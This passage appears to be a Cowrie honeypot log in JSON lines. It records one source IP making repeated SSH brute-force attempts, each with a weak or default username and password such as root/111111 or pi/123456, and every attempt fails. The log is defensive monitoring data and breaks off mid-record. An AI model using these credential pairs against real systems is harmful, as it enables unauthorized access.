{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:58.910827Z","src_ip":"192.109.200.78","session":"f9c419c14b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:58.993019Z","src_ip":"192.109.200.78","session":"f9c419c14b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:59.237284Z","src_ip":"192.109.200.78","session":"f9c419c14b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:00.379912Z","src_ip":"192.109.200.78","session":"f9c419c14b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1135282fda1e","protocol":"ssh","message":"New connection: 192.109.200.78:38828 (10.17.0.5:22) [session: 1135282fda1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:02.296761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:02.300725Z","src_ip":"192.109.200.78","session":"1135282fda1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:02.383649Z","src_ip":"192.109.200.78","session":"1135282fda1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:02.821742Z","src_ip":"192.109.200.78","session":"1135282fda1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:03.911020Z","src_ip":"192.109.200.78","session":"1135282fda1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38844,"dst_ip":"10.17.0.5","dst_port":22,"session":"6868f10d0ede","protocol":"ssh","message":"New connection: 192.109.200.78:38844 (10.17.0.5:22) [session: 6868f10d0ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:05.857004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:05.861722Z","src_ip":"192.109.200.78","session":"6868f10d0ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:05.942967Z","src_ip":"192.109.200.78","session":"6868f10d0ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:06.188373Z","src_ip":"192.109.200.78","session":"6868f10d0ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:07.273210Z","src_ip":"192.109.200.78","session":"6868f10d0ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6fdd57bd24","protocol":"ssh","message":"New connection: 192.109.200.78:38860 (10.17.0.5:22) [session: 4b6fdd57bd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:09.306047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:09.310577Z","src_ip":"192.109.200.78","session":"4b6fdd57bd24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:09.391371Z","src_ip":"192.109.200.78","session":"4b6fdd57bd24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:09.639025Z","src_ip":"192.109.200.78","session":"4b6fdd57bd24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:10.723059Z","src_ip":"192.109.200.78","session":"4b6fdd57bd24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39524,"dst_ip":"10.17.0.5","dst_port":22,"session":"e510eea34bf0","protocol":"ssh","message":"New connection: 192.109.200.78:39524 (10.17.0.5:22) [session: e510eea34bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:12.876033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:12.882908Z","src_ip":"192.109.200.78","session":"e510eea34bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:12.959085Z","src_ip":"192.109.200.78","session":"e510eea34bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:13.278158Z","src_ip":"192.109.200.78","session":"e510eea34bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:14.362359Z","src_ip":"192.109.200.78","session":"e510eea34bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"70cc1b9b5e74","protocol":"ssh","message":"New connection: 192.109.200.78:39536 (10.17.0.5:22) [session: 70cc1b9b5e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:16.311786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:16.315476Z","src_ip":"192.109.200.78","session":"70cc1b9b5e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:16.395401Z","src_ip":"192.109.200.78","session":"70cc1b9b5e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"rootroot","message":"login attempt [deploy/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:16.637080Z","src_ip":"192.109.200.78","session":"70cc1b9b5e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:17.800406Z","src_ip":"192.109.200.78","session":"70cc1b9b5e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39548,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc1acab3ec8","protocol":"ssh","message":"New connection: 192.109.200.78:39548 (10.17.0.5:22) [session: 7fc1acab3ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:19.719817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:19.724499Z","src_ip":"192.109.200.78","session":"7fc1acab3ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:19.805628Z","src_ip":"192.109.200.78","session":"7fc1acab3ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:20.053882Z","src_ip":"192.109.200.78","session":"7fc1acab3ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:21.137256Z","src_ip":"192.109.200.78","session":"7fc1acab3ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36708,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f15809279dd","protocol":"ssh","message":"New connection: 192.109.200.78:36708 (10.17.0.5:22) [session: 2f15809279dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:23.365523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:23.369646Z","src_ip":"192.109.200.78","session":"2f15809279dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:23.451065Z","src_ip":"192.109.200.78","session":"2f15809279dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:23.698593Z","src_ip":"192.109.200.78","session":"2f15809279dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:24.781534Z","src_ip":"192.109.200.78","session":"2f15809279dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05402684211731,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:24.800385Z","src_ip":"172.81.62.90","session":"d6102126e0f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36716,"dst_ip":"10.17.0.5","dst_port":22,"session":"74539e023532","protocol":"ssh","message":"New connection: 192.109.200.78:36716 (10.17.0.5:22) [session: 74539e023532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:26.793466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:42:26.797132Z","src_ip":"192.109.200.78","session":"74539e023532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh